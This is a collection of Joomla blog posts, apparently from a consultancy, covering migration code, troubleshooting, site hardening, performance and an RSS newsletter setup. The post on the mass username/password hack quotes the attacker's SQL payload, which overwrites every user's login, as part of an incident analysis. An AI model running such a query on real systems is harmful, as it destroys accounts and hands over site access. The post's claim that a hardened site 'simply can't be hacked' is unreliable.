We then modified the save() function in the slide.php model file (also located under under the administrator/components/com_fpss/models/ folder) to the following:

function save()
{
	$db = $this->getDBO();

	$sql = "SELECT * FROM jos_fpss_slides WHERE state=1 ORDER BY catid ASC, ordering ASC";
	$db->setQuery($sql);
	$arrSlides = $db->loadAssocList();

	$k = 4;
	for ($i = 0; $i < count($arrSlides); $i++){
		++$k;
		$row = JTable::getInstance('slide', 'FPSS');
		$config = JFactory::getConfig();
		$tzoffset = version_compare(JVERSION, '3.0', 'ge') ? $config->get('offset') : $config->getValue('config.offset');
		$data = $this->getState('data');
		$data['title']= $arrSlides[$i]['name'];
		$data['catid']= $arrSlides[$i]['catid'];

		$filename = $k.'_'.md5('Image'.$k);
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/src/'.$filename.'_s.jpg');
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/cache/'.$filename.'_m.jpg');
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/cache/'.$filename.'_p.jpg');
		copy('/'.$arrSlides[$i]['thumb'], '/media/com_fpss/cache/'.$filename.'_t.jpg');

		if (!$row->bind($data))
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->check())
		{
			$this->setError($row->getError());
			return false;
		}

		$date = JFactory::getDate($row->publish_up, $tzoffset);
		$row->publish_up = version_compare(JVERSION, '1.6.0', '<') ? $date->toMySQL() : $date->toSql();
		if (trim($row->publish_down) == JText::_('FPSS_NEVER') || trim($row->publish_down) == '')
		{
			$row->publish_down = $db->getNullDate();
		}
		else
		{
			$date = JFactory::getDate($row->publish_down, $tzoffset);
			$row->publish_down = version_compare(JVERSION, '1.6.0', '<') ? $date->toMySQL() : $date->toSql();
		}
		$now = JFactory::getDate('now', $tzoffset);
		$user = JFactory::getUser();
		if ($row->id)
		{
			$row->modified = version_compare(JVERSION, '1.6.0', '<') ? $now->toMySQL() : $now->toSql();
			$row->modified_by = $user->get('id');
		}
		else
		{
			$row->created = version_compare(JVERSION, '1.6.0', '<') ? $now->toMySQL() : $now->toSql();
			$row->created_by = $user->get('id');
			$row->ordering = $row->getNextOrder('catid = '.$row->catid);
			$row->featured_ordering = $row->getNextOrder('featured=1');
			$row->hits = 0;
		}

		if ($row->referenceType == 'custom')
		{
			$row->custom = $data['reference'];
		}

		if (!$row->store())
		{
			$this->setError($row->getError());
			return false;
		}
	}
}

We then created a dummy slide in the backend and saved it. This migrated all the slides, including the images! The issue was solved and we reverted the slide.php model file back to what it was before!

Some assumptions in our guide above:

  • The IDs of the categories are sequential on the old website and they start at number 2.
  • Both the old website and the new website use the same database, but the old Joomla website uses jos_ as the table prefix, while the new website uses a custom table prefix.

  • Your have not added/deleted any slides manually to FPSS on the new website. In short, you only have 4 test slides that came with the installation.

  • You are a good, careful developer or you have access to one.

If the above assumptions do not hold true for your Joomla website, then most certainly our method will not work, and you will need to contact us to migrate the slideshow for you. Please note that our very reasonable fees apply.

Menu Item Type Popup Not Appearing When Adding a New Menu Item in Joomla

One of our clients, for whom we have just migrated a Joomla website for her small business, called us today and told us that she wanted to know how to add a new menu item to the Main Menu to point to a new article she has just created. We emailed her (while still on the phone), the following guide:

  1. Login to the backend of your Joomla website.
  2. Click on Menus -> Main Menu.
  3. Click on the New button on the top right (it’s the orange button with the plus sign).
  4. Click on Select next to Menu Item Type and choose Single Article from the popup window.
  5. Fill in the Menu Title to the left.
  6. Choose an article by clicking on the Select/Change button next to Select Article.
  7. Click on the Save button on the top right.
  8. That’s it!.

We asked her to remain on the phone until she receives the email and then to try to add a new menu item to make sure that the guide works for her. Unfortunately, it didn’t! She told us that in Step 4 in the guide, she can’t see any popup window: the Menu Title field became red once she clicked on the Select button, nothing popped up. We asked her to try again, but she still wasn’t able to see the popup. We tested the website on several computers and on several browsers on our end and, in every instance, we were able to see the popup! It’s really hard to debug a problem that only exists on the client’s end!

In any case, we suggested to her using another browser (which was Firefox, she was first using IE), and she still had the same problem. We then asked her to clear the cache, and that fixed the problem. Aha!

Since she was using both IE and Firefox for her Joomla 1.5 website, and since these browsers were caching some Joomla 1.5 JavaScript libraries that also existed (albeit with different code) in the Joomla 2.5 website, her new Joomla website was using the cached (and incompatible) JavaScript libraries, and as such resulting in this issue. Clearing the cache solved the problem because it forced the browsers to use the most recent version of the JavaScript libraries from our client’s website.

If you have the same issue, where the menu item type popup is not popping up, then try deleting your browser’s cache. This should fix the problem! If it doesn’t, then please contact us. We’re experts in Joomla, our rates are affordable, and we’re confident that we will be able to fix your problem in no time!

The Mass Username/Password Update Hack in Joomla

So far this month, we have had 5 cases where all the users in a Joomla website had their usernames and passwords updated to the same value. In other words, all the usernames in those Joomla websites were set to admin, and all the passwords were set to an identical, md5 value.

This type of hack, of course, creates a huge problem, especially with community based Joomla websites (e.g. where the website has many registered users), since the website, post-hack, will technically have just one user, and most likely that user will not be able to login because his password was changed.

So, how did this happen?

Well, after investigating the 5 websites we have worked on this month so far, we came out with a pattern on how this hack happened:

  • The attacker exploited a loophole in Joomla and uploaded a PHP file to the images folder.

  • The file contained the following SQL statement (in base64 encoded format):

    UPDATE #__users SET username='admin', password='[MD5 value]'

  • The PHP file was executed from the attacker’s machine/server using CURL.

  • The query ran successfully, and the usernames and passwords for all the users were set to the same value.

We think that the attacker intended to just update one row (instead of them all) and the aim was to gain access to Joomla’s backend – but he was so lazy that he didn’t add a condition to the query to make it update just the first row!

What did we do to fix the problem?

The first thing that we did was that we removed the malicious file (the one containing the query), we then secured the website (especially the images folder), and finally we have reverted back to a previous backup of the #__users table. That fixed the problem.

We know, it seems that there’s a new type of hack every day, and that’s why it’s critical to keep your website protected. If you need help doing that, or if you need help cleaning up your hacked Joomla website, then you’re at the right place. Just contact us and we’ll ensure that your website is clean and secure in no time and for a very little cost.

Beware the Hacked 404 Error Page on Your Joomla Website

We are currently having an increasing number of cases where the 404 page – just the 404 page – is hacked. For example, when someone visits a page that doesn’t exist (on the Joomla website), he is either redirected to an obscene website or he just sees some obscene content on the Joomla website (or his browser starts downloading malware).

The problem with this sort of hack is that is very hard to notice, especially on well-built websites with no dead links and on small websites with very few visitors. That hack can lurk there for a very long time without anyone seeing it, and even if someone sees it, most likely he’ll be just a casual visitor who will never report it and who will never visit the website again. This type of hack, in our opinion, is one of the most dangerous out there, simply because it secretly kills the website: the traffic will decrease week after week and nobody will ever know why!

So, how can one discover if his website has a hacked 404 page?

This is simple. All you need to do is to visit any non-existing link on your website and see what you’ll get. If you get the normal 404 page, then your website is not hacked. If you don’t, well, you know what it means!

Now, you should be aware that even if your 404 pages look OK- they might not be clean. It might be that these pages only pretend to look OK for normal, human visitors, but they show their nasty nature to Google (this is called the Google hack), so you will need to check how your 404 pages look from Google’s eyes (you can fetch a page as Google from Google Webmaster Tools).

OK, so how can you fix a hacked 404 page?

Unfortunately – Joomla 404 hacks are quite diverse, and nearly every single case we have seen so far and fixed was unique. But, here are some guidelines to narrow down the location of the problem:

  • Change your template: If, after changing your template, the problem disappears, then the hack is lurking somewhere in your template. If this is the case then it shouldn’t be that hard to fix.

  • Disable JavaScript: If you disable JavaScript on your browser and the problem no longer exists, then the problem is most likely somewhere in one of your global JavaScript files. Fixing the problem, in this case, consists of following the steps below:

    • Backup all your JavaScript files.

    • Delete them, one by one, and reload your page after each deletion. Once the page is clean, then it means you’ve just deleted the culprit.

    • Restore the deleted files and clean up the culprit.

    • This should fix the problem.

  • Disable SEF

    If you disable SEF and your 404 pages become clean, then it is very possible that the hack is somewhere in your .htaccess file. Either download a fresh copy of Joomla (matching your version) and overwrite your current .htaccess file with that of the downloaded copy, or manually clean up your .htaccess file if you have the technical skills to do so.

  • If all else fails…

    As we previously said, Joomla 404 hacks are pretty diverse, so, if none of the above methods worked for you, do not be afraid. You can always contact us and we can definitely help. In just a few hours, we’ll be able to locate the problem and completely clean up your website. We’re always just an email or a phone call away, and we won’t cost you an arm and a leg!

Ultimate Security on a Joomla Website

Our clients (with previously hacked Joomla websites that we fixed) often ask us: “What can one do to have ultimate security on a Joomla website?”

Our short and concise answer would be: “Have a development server and a production server. The development server is the one where you do the updates (and it’s usually behind the DMZ). These updates are then synced back to the read-only production server.”

Let us explain…

The main and only reason why a Joomla website is hacked is that Apache has write permissions on some (or, in many cases, all) files/directories and because MySQL has (usually) full permissions on the Joomla database. But, does your visitor really needs all these permissions?

Generally, most of the Joomla websites out there are content websites – which means that normal visitors do not have to alter the filesystem (e.g. upload new files, modify files, etc…), and typically they will only need to make a modification to just one table in the database (which is the #__session) table. But (and there’s always a but), this doesn’t apply to people working on the website. For example: super administrators logging in to the backend and installing extensions, administrators logging in to the backend and uploading images, creating new content, disabling some categories, etc…

So, because of backend activities, Joomla websites must grant these write/full permissions on the filesystem and the database to anyone, including visitors who don’t need them (for legitimate use). So, what can one do to address this issue?

As stated above, having 2 servers, one for development and one for production will solve the problem. The development server will host a copy of the website which will be used by the staff to make updates (including installing extensions and adding/modifying content), and the production server will host the actual website that will be used by the visitors. Typically, the development server should only be accessed from a VPN and should be behind the DMZ. Permissions on the development server can be as loose as they can be because everything happens behinds the DMZ. Now, every morning, the filesystem and the database changes from the previous day should be pushed from the development server to the production server. Here’s how:

  • The filesystem should be rsync’d (all the files should be overwritten with the exception of the configuration.php file and the index.php file located under the administrator folder (we’ll explain later why). This should take care of syncing the filesystem.

  • Assuming the production’s database name is joomla_database, the development database should be copied to the production server, and it should be called joomla_database_v2.

  • The production database should be renamed to joomla_database_backup_[datetime], and the copied database (from development) should be renamed to joomla_database.

  • This’ll take care of a smooth database synchronization.

Note the filesystem sync and the database sync should be atomic, which means that if the sync fails on one of them, the whole sync process should be reverted. This can be quite complicated.

So, what kind of security should be on the production Joomla website?

Well, first of all, all the files and folders should be owned by root – and when we say all folders, we mean all folders, including the cache, the images, the logs, and the tmp folders. Additionally, the files’ permissions (across the board) should be 444, and the folders’ permissions (also across the board) should be 555. Note that the production website must use DSO and not suPHP. This’ll take care of the filesystem and ensures that no filesystem updates are possible by the website’s visitors.

As for the database, the database user accessing the production database must only be granted select permissions (and not all permissions) on all tables, with the exception of the #__session table, to which that user should also be granted delete, insert, and update permissions. Now, as you probably know, Joomla tracks hits on content items, which means that that database user must also have update permissions on the #__content table. However, we think that a better way to address this issue is to disable hit tracking on Joomla completely (if it’s not needed) – we’ll discuss how to do this in a future post.

One last thing that should be done is to remove the index.php file from the administrator folder. This ensures that no one can access the backend in the production website. (That’s why we excluded that file from being synced above).

As you can see, the security on the production Joomla website is ultimate. This Joomla website simply can’t be hacked. Of course, we are assuming that 1) Your production server is always up-to-date and 2) Your production server doesn’t have any other websites and doesn’t have any unnecessary software installed (in other words, your production server should have a very clean and up-to-date LAMP environment).

We helped very large companies implement the above strategy successfully. If your company runs a Joomla website and needs it to have ironclad security, then please contact us. We are security experts in Joomla, our work is fast and extremely professional, and our fees are very affordable!

Cyber Monday Means No Sales for Some Joomla Websites

Cyber Monday is a huge online event in North America (the US and Canada). For those who don’t know what it is exactly, it is the Monday immediately after Thanksgiving, and during that day, online retailers offer huge discounts on their products. Cyber Monday has gotten extremely popular since its inception back in 2005 and nowadays, even very small online retailers are taking advantage of that event to generate sales.

Now – enough with the introduction – and let us explain what happened yesterday morning (which was, coincidentally, Cyber Monday). A client called us and told us that his VirtueMart shop on his Joomla website is not working properly – he said that the transactions were not going through, and those that were going through, were not being registered properly. We started working on the client’s website immediately. A few minutes later, the phone rang again, it was another customer with the same problem. By 10 AM in the morning we had 7 clients calling in and telling us that their VirtueMart store is not working. They were all getting the following error:

Failure in Processing the Payment (ps_authorize)

When the same error happens em masse, we usually start questioning whether the problem is from the website itself or from elsewhere, and it didn’t take long for us to discover that the problem was indeed elsewhere: all these websites were using the same payment processor, and that payment processor was simply not able to cope with all the load on Cyber Monday (there were just too many simultaneous transactions – too many for that payment processor to handle). We actually called the payment processor to confirm the issue.

Unfortunately, the day that was supposedly going to generate more revenue than a whole week (or maybe a whole month) for most of these businesses, ended up as one of the most disappointing days in the whole year. Not to mention, of course, that some of the transactions were successfully processed by the payment processor but the latter returned fail for each of these transactions, which means that these small businesses also had to deal with clients who got charged for absolutely nothing. Not good!

We hope that Cyber Monday went well for you – if it didn’t because of a technical (and costly) glitch with your payment gateway, then maybe it’s time to consider an alternative. And, if you’re afraid of the technical hurdles when migrating from one payment processor to another, then fear not, we can help you there! Just contact us and we’ll migrate you to another payment processor, of your choice, in no time and for a very reasonable fee!

VirtueMart: The Most Horrible Joomla Extension to Migrate

After migrating hundreds of Joomla websites from 1.5 to 2.5 (and dozens to 3.2), we have learned 2 things:

  1. A migration is never an easy task, and we have explained that, in details, here.
  2. VirtueMart is, by far, the most horrible extension to migrate.

Since we have already discussed the first point before, let’s focus, in this post, on the second point.

So, why is VirtueMart that horrible to migrate?

Well, first of all, there is no tool to migrate VirtueMart 1.x to VirtueMart 2.x – although the developers claim they have a tool, and they claim that it works, we couldn’t, for the life of us, get this tool work to properly for us once. Sometimes it migrates products, but without the images. Sometimes it doesn’t migrate the orders, sometimes it migrates the same products twice, sometimes it doesn’t migrate the categories. That tool that they claim one should use to migrate VirtueMart’s content is erratic, inconsistent, and buggy. What’s even worse that for one to use the buggy migration tool, he should perform a series of lengthy and painful rituals that may or may not work as intended!

Now, even if one decides (and rightly so) not to use the migration tool and create a script to do that, there’s one tiny hurdle: the database structure of VirtueMart 2.x is completely different from that of VirtueMart 1.x, and when we say completely different, we mean completely different. A small example is that the products are no longer stored in one table, but they are spread over multiple tables – and this is the same for many other data types (categories, manufacturers, etc…). This means that any working PHP script to migrate from VirtueMart 1.x to VirtueMart 2.x would be a really, really complicated script.

But, assuming that you were able to successfully migrate the data to VirtueMart 2.x using a custom made script (and the help of some Joomla experts). There is still one last hurdle: Your 3rd party and home-built/custom-built extensions for VirtueMart 1.x will not work with VirtueMart 2.x – now, if you’re lucky, you will find a new version for each 3rd party extension that is compatible with VirtueMart 2.x, but what about the extensions that are no longer supported, and those home built/custom built extensions that cost you dearly a few years ago and that you absolutely require for your online store? So, the next step would be for you to migrate these extensions manually, or to hire a company to do it for you if you don’t have the necessary technical skills.

As you can see, migrating VirtueMart from version 1 to version 2 is a never-ending nightmare. We think that the developers should have taken the migration tool that they have created more seriously – that would have saved quite a lot of money for the many VirtueMart users out there. But hey, that’s what you get when an extension is free from the get-go.

But what about just keeping good old VirtueMart 1.x and upgrading to Joomla 2.5 or (3.x)?

If you’re intimidated by VirtueMart’s migration process (and you should be – unless you’re a programming super-hero), then you might be thinking, “what if I keep my old version of VirtueMart when I migrate to Joomla 2.5?”. Unfortunately, this is not possible – you must use VirtueMart 2.x with Joomla 2.5 and higher; VirtueMart 1.x is not compatible with anything above Joomla 1.5.

So, what should one do?

Well, you have 2 options:

  1. Re-create your store from scratch in VirtueMart 2.x, which is probably your best option if you just have a few products OR
  2. Contact some Joomla experts and have them do all the work for you!

In case you haven’t guessed it already, we are those Joomla experts. Just contact us and we promise to fully migrate your VirtueMart store regardless of its size and the number of 3rd party extensions that you have. We are fast, we are professional, and we won’t cost you much!

The “error_log” File in the Root of Some Joomla Websites – What Is It?

There are some Joomla websites that have a file called error_log in their root directory (e.g. directly under public_html). For some websites, the error_log file is a several hundred megabytes in size and it grows by a few megabytes everyday. So what is this file and is it necessary to have it?

Let’s start with explaining what this file is. The error_log file contains all the errors that happen on your Joomla website. Some of these errors are visible to your users, such as fatal errors, and some aren’t, such as missing an Apache module (quick note: Apache modules are not the same as Joomla modules – they are completely different things). The error_log file contains every error, the time it happened, and the page where that error happened (again, it might be that the error is invisible to the end user, in other words a system error).

So, what’s the point of having this file?

This file is extremely helpful – it contains every error that happened on the Joomla website, where it happened, and when it happened. The purpose of having this file is to help you fix the errors that occur on your Joomla website. It is also very helpful to catch some potential exploits before the real exploit, since malicious attacks generate a lot of errors before they succeed.

But, won’t others be able to read/download that file file by just going to http://yourjoomlawebsite.com/error_log?

Unfortunately they can, but there are several ways to address that, one of them is just to block access to that file in the .htaccess file:

<Files "error_log">
     Order allow,deny
     Deny from all
</Files>

But what if I don’t want to have that file at all?

Disabling error logging to the error_log file is a very simple task, all you need to do is to add the following line to the beginning of your .htaccess file:

php_flag log_errors Off

So what’s the best practice? Is it to have this file or not to have it?

We think that having this file on your production website, but with disabled access to the public, is best practice. It’ll record all the errors that happen on your Joomla website giving you a chance to fix them, ultimately making your website better.

And what if I want to name that file something else?

Easy peasy! All you need to do is to add the following line to your htaccess file:

php_flag error_log /home/[website]/public_html/my_error_log.txt

Note that the above assumes that you are using WHM/cPanel as the backbone of your Joomla website. If you’re using Plesk, then the code would be something like this:

php_flag error_log /var/www/vhosts/[website]/httpdocs/my_error_log.txt

Now, if your error_log file is full of errors, and you need help fixing them, then why not contact us, we’re always here to help, we are fast, we are professional, our rates are affordable, and we are true Joomla experts!

Why Is a Joomla Website Much Slower for Logged-in Users?

While optimizing a large Joomla website this morning (the website had around 100,000 pages), we noticed that the website was considerably slower for logged-in users than for the general public. Most pages, on that particular website, were loading (after our optimization) in 0.2 to 0.3 seconds for visitors, but these same pages were taking nearly 20 seconds each to fully load for logged-in users (including super users). The pages that were mostly affected were Category List views. Hmmm!

In order to unveil the secrets behind the slowness, we printed all the queries that were executed to generate a page for both logged-in users and guests. To our surprise, we saw that there were many additional queries that were being run only for logged in users, and all of these queries had something to do with the #__assets table.

So, what is the #__assets table?

The #__assets table is one of Joomla’s 1.6+ (e.g. all versions above 1.6, including 1.7, 2.5, and 3.x) worst ideas. It is used to keep information about all the installed/added extensions/content items on the Joomla website. This information tells Joomla the following information: who is the parent for each of these extensions/content items and which users have permissions on these extensions/content items.

OK, now what were these queries and what is their purpose?

These queries, as stated above, were mainly querying the #__assets. There were many of them and they were not always the same. Some of them were quite complex and inefficient – that inefficiency is only evident when you have many rows in the #__assets table – which is the case when you have 10,000+ articles on your Joomla website (each article is represented by an entry in the #__assets table). The inefficiency was that each of these complex queries had a LEFT JOIN on the #__assets table itself, so the query was something like:

SELECT b.rules FROM #__assets AS a, b.id, b.rules, b.lft WHERE (a.name = ' value' OR a.parent_id=0) LEFT JOIN #__assets AS b ON b.lft <= a.lft AND b.rgt >= a.rgt ORDER BY b.lft

If you care to know, the above query is used to calculate the permissions that the logged in user has on the displayed content (e.g. maybe the user shouldn’t see that content, or maybe the user should be able to edit that content, etc…). While this functionality is helpful for some websites with complex user permissions, it is useless and represents a huge overhead for large Joomla websites.

So, what did we do to solve the problem?

Unfortunately, we had to modify Joomla’s core to fix the problem. There was no other solution since the problem was actually built-in in Joomla (we never used the word built-in in a negative context before – well, there’s always a first for everything).

Once we did the modification, the site ran very smoothly even with logged-in users.

Is there another solution?

Migrating your Joomla content to K2 can also solve the problem – since K2 is a much better and efficient platform than Joomla’s core content management system (Unlike Joomla’s core, K2 doesn’t use the #__assets table for displaying any of its content).

We understand that Joomla can sometimes be a bit disappointing performance-wise, especially for large websites. We can fix that for you – just contact us and rest assured that your Joomla website will run at a blazing speed once we’re done with it – oh, and we won’t charge you much!

5 Tips to Optimize Your Joomla Template

If there is any non-core section of your Joomla website that is critical to its performance, it must be the template. Your Joomla template is loaded on every single page that is served to your visitors, which means that any performance issue on your template will negatively affect your visitors’ experience on your website. Here are 5 tips that will help you enhance its performance:

  1. Remove module positions that you’re not using: For every module position that you have on your Joomla website, there’s a query (and subqueries) that tries to get all the modules from the database for that particular position. If there are no matching modules, the query will still run anyway. Removing these unnecessary positions will ensure that no queries are run needlessly.

  2. Use a different template for pages with completely different layout: Do not try to swamp your template with if conditions to make it adjust to all layouts. If a layout is substantially different than your main template, then go ahead, create a different template for that layout and assign that new template to all the pages that fall under this new layout.

  3. Try to move the content of static modules that are assigned to all pages to your template: OK, we know, this tip might be considered as “bad practice”, but let us explain: As we stated above, any module inclusion represents a database overhead. If, you have a module that is included on every single page and always has the same content (and, of course, always assigned to the same position), then it’s better to move it to your template, you will save unnecessary hits to the database and your website will be slightly faster (noticeably faster if that module does a lot of calculations). Note that this strategy works very well on large Joomla websites.

  4. Ensure your template has valid HTML: A page with valid HTML not only is lighter on the browser, it is also a healthy sign for search engines. Now a template with valid HTML does not necessarily mean that your website’s HTML is valid (because your content’s HTML might not be valid), but it is a good first step and it is necessary towards having a website that is fully W3C compliant.

  5. Remove comments and unnecessary code from your template: While comments and unnecessary code are not that very expensive when it comes to performance, they do have a cost, and that cost is “incurred” on every page. Removing those comments and unnecessary code has a slight positive performance on the Joomla website and it’s very simple to do!

We hope that you found these 5 tips helpful. If you need help implementing them, then please contact us and we can do the work for you. Our fees are reasonable, our work is ultra-fast and professional, and we are extremely friendly!

A Small Yet Critical Inconsistency in Joomla

Not a day goes by without us noticing this inconsistency in Joomla: it’s confusing, it’s weird, and it’s very dangerous. We know, you have no idea what we’re talking about at the moment. Let us explain…

Login to the backend of your Joomla website, and then go to Site -> Global Configuration, and then click on the System tab. On the right side, under Cache Settings, you will see Cache Time, which is the default time that Joomla will cache modules (and pages, if you’ve enabled the System – Cache plugin) for. Cache Time is set to 15 by default. Now, if you hover on the label Cache Time, you will see the following explanation:

The maximum length of time in minutes for a cache file to be stored before it is refreshed.

You’ll know why we highlighted in minutes in just under a minute (pun intended).

Now, go to Extensions -> Module Manager, and click on any module of type Menu (for example, your Main Menu module), and then click Advanced Options on the right. The last field under Advanced Options is Cache Time, and it is set, by default to, 900. Now, if you hover on Cache Time here, you will see the following popup message:

The time before the module is recached

Hmmm… The time in what? In minutes? In seconds? In days? Since we have a lot of experience in Joomla, we know that it’s in seconds, and that’s why it’s defaulted to 900 (which translates to 15 minutes), but, unfortunately, not everyone has the same Joomla experience that we have, and this might be very confusing and dangerous (if you’re heavily using caching on your website, and you are assuming that everything is in minutes).

We have no idea why was this inconsistency not addressed in Joomla 2.5. We also have no idea why the popup message for the module does not specify the unit of time, if it did, everything would be much clearer (it literally takes 1 minute to fix this in the language file).

This is more or less like a rant, but a positive rant, and we’ll make sure that the Joomla developers know about it, so that they can fix it. Meanwhile, always remember that only the Global Cache is in minutes, everything else is in seconds. Oh, and while we’re on the same subject, if you have a caching problem on your Joomla website, then please contact us and we can fix it for you in as little time and for as little cost as possible!

Avoid Including External JavaScript Files on Your Joomla Website

A client called us today and told us that even though his website is loading properly, he’s noticing that the “Transferring Data…” message at the bottom left of Firefox is taking forever to disappear, as if Firefox hasn’t finished loading the page (when, again, the page is fully loaded). We knew immediately what the issue was: this usually happens when Firefox (or any other browser) is trying to load an external file (the external file can be an image, a CSS file, or a JavaSript file) that is located on a slow website.

We did a quick investigation using Google Chrome (here’s how: we loaded the website in Google Chrome, and then right clicked, chose Inspect Element, clicked on Network, clicked on Time, and then refreshed the page – the slow loading file could be found at the bottom of the debug window) and discovered that the file that the Joomla website was trying to load was a JavaScript file responsible for adding the “Read more on… [link to the Joomla page]” when pasting copied content from a page. That script was located on a 3rd party website that was extremely slow.

We then told the client that he should disable the plugin that is responsible for loading the script, but our client told us: “But this functionality will increase my traffic…”

We told him that this is not true, this kind of technique doesn’t increase traffic. While it can have a positive effect on very large and important websites, most people will not leave the line “Read more on…” on their pasted content if the website they have copied from is not well known. Sad, but true!

Additionally, the problem with this tool (or whatever you want to call it) is that it pollutes the web, simply because it adds a hash to the URL. That hash means something only for that tool (the hash is mainly used for tracking how many people shared the link and how many people clicked on the shared link – of course, this information is sent to the 3rd party website and never shared with the site owner himself).

Furthermore, there is a huge issue with this tool, and it is that any external JavaScript file can be used to steal keywords and other important information from the host website. An external JavaScript file can also potentially read what your users are writing on your website, including, but not limited to, their usernames and passwords. Now you might be thinking “This can’t be true”, but think about it this way, why would that 3rd party website allow you to use that tool for free, and why do they host such a simple tool on their website instead of yours? As the old saying goes “There’s no such thing as free lunch”…

Finally, an extension that includes external files can slow down your whole website, and can jeopardize its rankings if the required external files are deemed to contain some sort of malware.

Bottom line, ensure that all the files that you are including on your website are actually located on the same server or one of your servers – never trust files that you cannot change yourself.

If you’re having the same problem on your Joomla website, and if you are not able to find the culprit extension, then why not contact us? We’ll find it for you in no time and we won’t charge you much!

The JED (Joomla Extensions Directory) Need to Be Better Managed

At itoctopus, we love to share our knowledge about Joomla. We think that by doing so, we are helping Joomla become an even better CMS. We also like to share our knowledge because we believe in knowledge sharing as a concept that evolves our civilization in general (think about what would have happened if Thomas Edison and Nikola Tesla kept their knowledge to themselves). Now, before getting too philosophical, let us explain what this is all about…

Back in May, we submitted a simple extension, this one, to the JED. Today is November 19th and the extension still wasn’t approved or disapproved. This can only mean one thing: the people managing the JED are understaffed, perhaps reduced to just one person who may or may not be fully dedicated to this job.

Now, we know that Joomla is open source, and most likely it doesn’t get enough money to afford full time staff, but if Joomla’s core is the heart of Joomla, then the JED is the limbs. One can do very little without his limbs, and the same concept applies to Joomla. A Joomla website is a barely functional website without 3rd party extensions (imagine Joomla without JCE Editor, K2, RS Form, VirtueMart, etc…) . This means that by ignoring the JED, Joomla can slowly, but surely, become a less attractive CMS, especially for potential users, which in turn has disastrous effects on Joomla and the companies supporting it.

Of course, we don’t want to reach a point where Joomla becomes obsolete because the JED is being neglected. That’s why we are proposing 2 solutions:

  1. Have a Wikipedia-like donation season, where everyone visiting the website will be asked if he could donate a small amount to support Joomla. A visible donation thermometer will encourage many people to donate to support the project. Joomla might not need millions; just a couple of hundred thousand dollars would probably be more than enough to help the project and hire a couple of people to manage the JED.

  2. If the above is not an option, then allow any member to submit an extension (for a very small fee – something like $5) and approve it automatically. Let the community decide whether the extension is bad or good. While this concept seems a bit frightening, one has to admit that it’s working rather well for Google on the Google Play market (on Android devices).

We think that the first option is infinitely better than the second one, but the second option is still better than what we have right now. Either option can help Joomla from falling into the abyss of outdated CMS’s.

Now, if you want to discuss with us your thoughts on the JED and how to make Joomla a better CMS, then feel free to contact us. We always pick up the phone and we always listen!

How to Create an RSS Newsletter Subscription Functionality on Your Joomla Website

Joomla websites are typically not used as blogs. However, it is very common for a Joomla website to have a blog. That blog is usually a Joomla category blog (some websites use the WordPress extension, but we don’t recommend it, since you’ll be maintaining 2 websites instead of one). Of course, once a Joomla website has a blog, the next question will be, “how to tell people about new posts on that blog?”

The answer is simple, and it’s called RSS Newsletter Subscription, and this is exactly what one of our clients asked us to do this morning. Here’s a step-by-step description of what we did:

  • We downloaded NinjaRSS Syndicator. We then installed it and optimized it. (NinjaRSS Syndicator, for those who don’t know, is a Joomla extension that generates an RSS feed from one or more Joomla categories.)

  • We then created a feed in NinjaRSS Syndicator the following way:

    • While logged in to the backend of the Joomla website, we clicked on Components -> NinjaRSS Syndicator -> Feeds.

    • We clicked on New on the top right.

    • In the form, we entered the name of the feed, and then we typed in “20″ (without the quotes) next to Number of messages to show in feed, and then we chose “Created Date Descending” next to Order By, and then we typed in “3600″ (again, without the quotes) next to Number of seconds to cache (caching RSS feeds is important because generating them can be a bit heavy on your server, especially if your Joomla website is not well optimized), and then next to Include or Exclude Categories we selected Include Selected Categories, and finally in the list box below (next to Selected Categories) we just chose the category called “Blog” (of course, your category can be named something different, but you get the idea).

    • We hit on Save & Close on the top right.

  • Once we clicked on Save & close, we saw our feed on NinjaRSS Syndicator’s Feeds page. Under Feed url, we copied the link to the feed and saved it in a file so that we can use it later. The link to that feed was: http://www.ouclientjoomlawebsite.com/index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw.

  • Now, we needed to use a third party service that will allow people to subscribe to our client’s RSS feed and send them a daily newsletter. An excellent service that does exactly that is Feedburner, which is a Google product. So, we visited http://www.feedburner.com and logged in with our client’s Google credentials.

  • Under Burn a feed…, we entered the URL of our feed, which was http://www.ouclientjoomlawebsite.com/index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw, we then clicked on Next.

  • We then followed the instructions by filling in the required fields, and then once we reached the Control Panel of the feed, we clicked on Publicize on the top navigation, and then we clicked on Email Subscriptions to the right. We then clicked on Activate and then we copied the Subscription Form Code (the first textarea), and finally we clicked on the Save button below.

  • At this point, we only needed to add the Subscription Form to the Joomla website. So, we created a new Custom HTML module, we called it Subscribe, and then pasted the Subscription Form Code (copied from the step above) to the Custom Output of that module (please ensure that your editor will not strip away your HTML/JS code before you do that – otherwise, you will not see the form on your website).

  • We assigned the module to the Blog menu item (the position of that module was “right”, but you might want it somewhere else in your case), and then we clicked on Save on the top right, and Presto! Our client’s blog suddenly had a beautiful RSS subscription form!

  • We tried it and it was perfectly working! The job was done!

We really hope that this guide helped you in creating your RSS newsletter subscription functionality on your Joomla website. If it didn’t, or if you found it to be a bit intimidating, then fear not, we’re always here to help. Just contact us and we’ll create an RSS Newsletter subscription on your Joomla website in no time and for a very, very affordable fee!

A few important notes:

  • FeedBurner is a Google complimentary service, and we don’t know whether Google will keep FeedBurner active forever. It seems that Google no longer believes in RSS, and it might be only a matter of time before Google ditches FeedBurner. There are several alternatives to FeedBurner, but they are mostly commercial and not that intuitive to setup.

  • FeedBurner sends newsletters daily. There is no way to set it to send weekly or monthly newsletters. FeedBurner will not send any newsletter if you don’t have any new content.

  • You can set, in Feedburner’s settings, which time you want your newsletters to be sent out, and FeedBurner will attempt to deliver your newsletters at that time. There are no guarantees though that FeedBurner will deliver the newsletters during your preferred timeframe.

Whatever You Do, Do Not Hit That “Update Now” Button Without First Backing Up Your Joomla Website

Yes, it’s a very long title, but we couldn’t think of one that is more descriptive. Obviously, there’s a story to this, so relax, and let us tell you a bedtime story (it’s 11:31 PM here in Montreal).

A client called us around 9 PM (about 2 hours ago), and told us that all of a sudden, his Joomla website stopped working. It was displaying the following error:

Fatal error: Call to a member function get() on a non-object in plugins/system/remember/remember.php on line 94

So we asked him what he was doing when this problem happened. He told us that he clicked on the Update Now button on his Joomla 3.1.5 website. In other words, updating Joomla to the latest version simply crashed his website.

So, we started fixing his website, which was more or less like a cat and mouse game. Here’s what happened:

  • We downloaded a fresh copy of Joomla 3.2.
